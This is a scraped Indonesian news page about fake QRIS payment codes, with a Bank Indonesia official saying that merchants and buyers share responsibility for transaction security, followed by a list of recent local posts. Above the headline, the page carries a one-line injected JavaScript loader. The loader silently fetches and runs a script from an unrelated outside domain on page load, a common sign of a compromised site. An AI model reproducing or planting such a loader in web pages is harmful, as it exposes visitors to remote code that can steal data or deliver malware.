(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Banyak QRIS Bodong Beredar, Tanggung Jawab Siapa?


KANALKALIMANTAN.COM, JAKARTA – Sistem pembayaran QRIS kekinan disalahgunakan oleh sejumlah pihak untuk cuan dan merugikan banyak orang. Bahkan banyak beredar QRIS palsu yang meniru salah satu merchant, sehingga banyak tertipu.

Deputi Gubernur Bank Indonesia (BI) Filianingsih Hendarta mengatakan keamanan transaksi menggunakan QRIS merupakan tanggung jawab bersama.

Menurut dia, QRIS dibuat dengan standar nasional dan keamanannya mengacu praktik terbaik internasional.

“Keamanan QRIS itu tanggung jawab bersama. Jadi kalau kita lihat QRIS itu kita buat sudah ada standar nasional. QRIS itu sudah kita lengkapi dengan fitur keamanan yang mengacu pada international best practices,” ujarnya dalam Pengumuman Hasil Rapat Dewan Gubernur BI Bulan Juni 2024, yang dikutip Antara, Kamis (21/6/2024).

Baca juga: Mulai Besok, Polda Kalsel Resmi Bermarkas di Kota Banjarbaru

Filianingsih melanjutkan, BI, Asosiasi Sistem Pembayaran Indonesia (ASPI) dan juga pelaku industri, Penyedia Jasa Pembayaran (PJP), sudah melakukan sosialisasi dan edukasi terkait dengan keamanan transaksi QRIS kepada para merchant.

“Kenapa ini tanggung jawab bersama, artinya dari sisi pedagangnya, dari merchantnya itu harus memastikan bahwa QRIS itu dalam pengawasannya, barcodenya itu ada dalam pengawasannya,” imbuh dia.

Filianingsih menekankan barcode QRIS harus berada dalam jangkauan pengawasan para merchant. Para merchant juga harus memastikan adanya notifikasi transaksi pembayaran berhasil, yang diterima melalui telepon genggam.

“Jangan barcode-nya itu ditaruh di sembarang tempat, jadi dia harus mengawasi kalau pembelinya itu benar-benar men-scan QRIS yang benar-benar ada di depan dia,” ujarnya.

Selanjutnya, ada tanggung jawab dari pembeli, yakni harus memastikan bahwa QRIS yang dipindai (scan) itu benar sesuai dengan tujuan transaksi.

Baca juga: 21 Juni Hari Krida Pertanian, Ini Sejarah dan Maknanya

Dia menekankan rupiah wajib digunakan dalam setiap transaksi yang memiliki tujuan pembayaran di Indonesia. Dalam sistem pembayaran, BI menyediakan dua cara, yakni tunai dan nontunai.

Sementara itu, BI dan ASPI selalu melakukan pengawasan terhadap PJP QRIS dan juga terhadap perlindungan.  (Kanalkalimantan/Suara.com)

Editor: kk


Risa

Recent Posts

Jadwal Imsakiyah Ramadan 2026 di Kota Pontianak versi Pemerintah dan Muhammadiyah

Kementerian Agama RI melalui sidang isbat hari Selasa (17/02/2026) menetapkan 1 Ramadan 1447 H jatuh… Read More

2 jam ago

Jadwal Imsakiyah Ramadan 2026 di Lamandau versi Pemerintah dan Muhammadiyah

Hasil sidang isbat Kementerian Agama RI telah menetapkan 1 Ramadan 1447 Hijriah jatuh pada hari… Read More

2 jam ago

21 Mobil Listrik Dibeli Rp5,25 Miliar, Efisiensi Pemko Banjarmasin?

Wali Kota Yamin: Mobil Dinas Konvensional Sudah Berumur, BBM-nya Boros Read More

2 jam ago

Jadwal Imsakiyah Ramadan 2026 di Kota Tarakan

Pada Sidang Isbat yang digelar hari Selasa (17/2/2026), pemerintah secara resmi menetapkan 1 Ramadan 1447… Read More

3 jam ago

Jadwal Imsakiyah Ramadan 2026 di Kota Palangkaraya

Pemerintah telah menetapkan puasa 1 Ramadan 1447 H jatuh pada hari Kamis, 19 Februari 2026… Read More

3 jam ago

Disdikbud Kalsel Perketat Pengawasan SPMB 2026

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pendidikan dan Kebudayaan (Disdikbud) Provinsi Kalimantan Selatan (Kalsel) menggelar rapat koordinasi… Read More

3 jam ago

This website uses cookies.